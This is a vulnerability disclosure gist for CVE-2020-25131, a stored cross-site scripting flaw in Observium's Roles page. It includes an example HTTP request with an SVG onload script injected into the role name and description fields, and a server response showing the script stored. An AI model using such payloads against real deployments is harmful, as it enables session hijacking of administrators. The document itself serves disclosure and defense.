mariuszpoplawski / **CVE-2020-25131**

Created 2 years ago

☆ Star

<> Code -o- Revisions 1

CVE-2020-25131

```
CVE-2020-25131
------------------------------------------
Cross Site Scripting in roles

------------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to Cross-Site Scripting (XSS) due to the fact that it is possible to inject a
------------------------------------------

[Additional Information]


Example request that allows to trigger XSS payload.

POST /roles/ HTTP/1.1
Host: localhost
Connection: close
Content-Length: 178
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: OBSID=tpd8kh67hrtn6amqhqfqich6fu0f5gpq; observium_screen_ratio=0.8999999761581421; observium_screen_resolution=3840x2160

role_name=%3Csvg+onload%3Dalert%281%29%3E&role_descr=%3Csvg+onload%3Dalert%281%29%3E&action=role_add&requesttoken=ffae704c80f827fb8419b08af


Partial of server response:

HTTP/1.1 200 OK
Date: Wed, 12 Aug 2020 08:42:47 GMT
Server: Apache/2.4.6 (Red Hat Enterprise Linux) OpenSSL/1.0.2k-fips PHP/7.0.30
Strict-Transport-Security: max-age=63072000; includeSubdomains;
X-Frame-Options: DENY
X-Powered-By: PHP/7.0.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OBSID=tpd8kh67hrtn6amqhqfqich6fu0f5gpq; expires=Wed, 12-Aug-2020 09:12:48 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
Content-Security-Policy: sandbox allow-forms allow-scripts allow-same-origin;
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 933579

<!DOCTYPE html>
<html lang="en">
<head>
    <base href="https://localhost/"/>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>
    <!-- META BEGIN -->
  <meta http-equiv="refresh" content="300" />
  <!-- META END -->
    <!-- CSS BEGIN -->
  <link href="css/observium.css?v=20.7.10615" rel="stylesheet" type="text/css" />
  <link href="css/sprite.css?v=20.7.10615" rel="stylesheet" type="text/css" />
  <link href="css/flags.css?v=20.7.10615" rel="stylesheet" type="text/css" />
(…)
  </thead>
<tr class=""><td class="state-marker"></td><td>1</td><td><strong><a href="roles/role_id=1/">&lt;svg onload=alert(1)&gt;</a></strong></td><t




------------------------------------------

[VulnerabilityType Other]
Cross Site Scripting

------------------------------------------

[Vendor of Product]
https://www.observium.org/

------------------------------------------

[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631
```

```

-----------------------------------------

[Affected Component]
Roles

-----------------------------------------

[Attack Type]
Remote

-----------------------------------------

[Reference]
https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)



-----------------------------------------

[Discoverer]
Mariusz Popławski

-----------------------------------------


Mariusz Popławski / AFINE.com team
```